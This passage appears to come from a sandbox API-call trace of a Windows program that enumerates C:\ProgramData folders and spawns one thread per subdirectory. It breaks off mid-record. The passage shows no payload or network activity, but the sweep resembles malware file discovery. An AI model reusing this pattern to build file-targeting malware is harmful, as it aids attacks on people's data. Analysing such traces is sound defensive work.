0x8d9cd0 [0139.640] wcscpy (in: _Dest=0x8d9cd0, _Source="C:\\ProgramData\\Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0139.640] wcscat (in: _Dest=0x8d9cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Documents\\") returned="C:\\ProgramData\\Documents\\" [0139.640] wcscat (in: _Dest=0x8d9cd0, _Source="*" | out: _Dest="C:\\ProgramData\\Documents\\*") returned="C:\\ProgramData\\Documents\\*" [0139.640] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905360 [0139.640] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905360) returned 1 [0139.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9cd0) returned 1 [0139.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b50) returned 1 Thread: id = 1657 os_tid = 0x5b8 [0139.641] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9b50 [0139.642] wcscpy (in: _Dest=0x8d9b50, _Source="C:\\ProgramData\\Favorites" | out: _Dest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0139.642] wcscat (in: _Dest=0x8d9b50, _Source="\\" | out: _Dest="C:\\ProgramData\\Favorites\\") returned="C:\\ProgramData\\Favorites\\" [0139.642] wcscat (in: _Dest=0x8d9b50, _Source="*" | out: _Dest="C:\\ProgramData\\Favorites\\*") returned="C:\\ProgramData\\Favorites\\*" [0139.642] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905360 [0139.642] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905360) returned 1 [0139.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b50) returned 1 [0139.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9bd0) returned 1 Thread: id = 1658 os_tid = 0x5d0 [0139.643] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9bd0 [0139.643] wcscpy (in: _Dest=0x8d9bd0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.643] wcscat (in: _Dest=0x8d9bd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.643] wcscat (in: _Dest=0x8d9bd0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\*") returned="C:\\ProgramData\\Microsoft\\*" [0139.643] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905360 [0139.643] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.643] wcscmp (_String1=".", _String2=".") returned 0 [0139.643] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.643] wcscmp (_String1="..", _String2=".") returned 1 [0139.643] wcscmp (_String1="..", _String2="..") returned 0 [0139.643] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0139.643] wcscmp (_String1="Assistance", _String2=".") returned 1 [0139.643] wcscmp (_String1="Assistance", _String2="..") returned 1 [0139.643] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f91e8 [0139.643] wcscpy (in: _Dest=0x8f91e8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.643] wcscat (in: _Dest=0x8f91e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.643] wcscat (in: _Dest=0x8f91e8, _Source="Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0139.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f91e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0139.644] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0139.644] wcscmp (_String1="Crypto", _String2=".") returned 1 [0139.645] wcscmp (_String1="Crypto", _String2="..") returned 1 [0139.645] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2620 [0139.645] wcscpy (in: _Dest=0x8d2620, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.645] wcscat (in: _Dest=0x8d2620, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.645] wcscat (in: _Dest=0x8d2620, _Source="Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0139.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0139.646] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0139.646] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0139.646] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0139.646] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4108 [0139.646] wcscpy (in: _Dest=0x8e4108, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.646] wcscat (in: _Dest=0x8e4108, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.646] wcscat (in: _Dest=0x8e4108, _Source="Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0139.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274 [0139.647] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0139.647] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0139.647] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0139.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9238 [0139.647] wcscpy (in: _Dest=0x8f9238, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.647] wcscat (in: _Dest=0x8f9238, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.647] wcscat (in: _Dest=0x8f9238, _Source="DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0139.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0139.648] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0139.648] wcscmp (_String1="DRM", _String2=".") returned 1 [0139.648] wcscmp (_String1="DRM", _String2="..") returned 1 [0139.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d2548 [0139.648] wcscpy (in: _Dest=0x8d2548, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.648] wcscat (in: _Dest=0x8d2548, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.648] wcscat (in: _Dest=0x8d2548, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0139.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0139.665] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0139.665] wcscmp (_String1="eHome", _String2=".") returned 1 [0139.665] wcscmp (_String1="eHome", _String2="..") returned 1 [0139.665] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d2500 [0139.665] wcscpy (in: _Dest=0x8d2500, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.665] wcscat (in: _Dest=0x8d2500, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.665] wcscat (in: _Dest=0x8d2500, _Source="eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0139.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0139.666] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0139.666] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0139.666] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4160 [0139.667] wcscpy (in: _Dest=0x8e4160, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.667] wcscat (in: _Dest=0x8e4160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.667] wcscat (in: _Dest=0x8e4160, _Source="Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0139.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0139.668] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0139.668] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0139.668] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0139.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e41b8 [0139.668] wcscpy (in: _Dest=0x8e41b8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.668] wcscat (in: _Dest=0x8e41b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.668] wcscat (in: _Dest=0x8e41b8, _Source="IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0139.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e41b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0139.669] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0139.669] wcscmp (_String1="Media Player", _String2=".") returned 1 [0139.669] wcscmp (_String1="Media Player", _String2="..") returned 1 [0139.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4210 [0139.669] wcscpy (in: _Dest=0x8e4210, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.669] wcscat (in: _Dest=0x8e4210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.669] wcscat (in: _Dest=0x8e4210, _Source="Media Player" | out: _Dest="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player" [0139.669] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4210) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa050cc00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa050cc00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0139.669] wcscmp (_String1="MF", _String2=".") returned 1 [0139.669] wcscmp (_String1="MF", _String2="..") returned 1 [0139.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8d9cd0 [0139.669] wcscpy (in: _Dest=0x8d9cd0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.669] wcscat (in: _Dest=0x8d9cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.669] wcscat (in: _Dest=0x8d9cd0, _Source="MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0139.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0139.670] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0139.670] wcscmp (_String1="MSDN", _String2=".") returned 1 [0139.670] wcscmp (_String1="MSDN", _String2="..") returned 1 [0139.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2740 [0139.670] wcscpy (in: _Dest=0x8d2740, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.670] wcscat (in: _Dest=0x8d2740, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.670] wcscat (in: _Dest=0x8d2740, _Source="MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0139.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0139.671] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0139.671] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0139.671] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0139.671] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4210 [0139.671] wcscpy (in: _Dest=0x8e4210, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.671] wcscat (in: _Dest=0x8e4210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.671] wcscat (in: _Dest=0x8e4210, _Source="NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0139.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0139.672] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0139.673] wcscmp (_String1="Network", _String2=".") returned 1 [0139.673] wcscmp (_String1="Network", _String2="..") returned 1 [0139.673] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9288 [0139.673] wcscpy (in: _Dest=0x8f9288, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.673] wcscat (in: _Dest=0x8f9288, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.673] wcscat (in: _Dest=0x8f9288, _Source="Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0139.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0139.674] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0139.674] wcscmp (_String1="OFFICE", _String2=".") returned 1 [0139.674] wcscmp (_String1="OFFICE", _String2="..") returned 1 [0139.674] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2788 [0139.674] wcscpy (in: _Dest=0x8d2788, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.674] wcscat (in: _Dest=0x8d2788, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.674] wcscat (in: _Dest=0x8d2788, _Source="OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0139.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0139.675] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0139.675] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2=".") returned 1 [0139.675] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2="..") returned 1 [0139.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfc80 [0139.675] wcscpy (in: _Dest=0x8cfc80, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.675] wcscat (in: _Dest=0x8cfc80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.675] wcscat (in: _Dest=0x8cfc80, _Source="OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0139.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8cfc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0139.676] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: 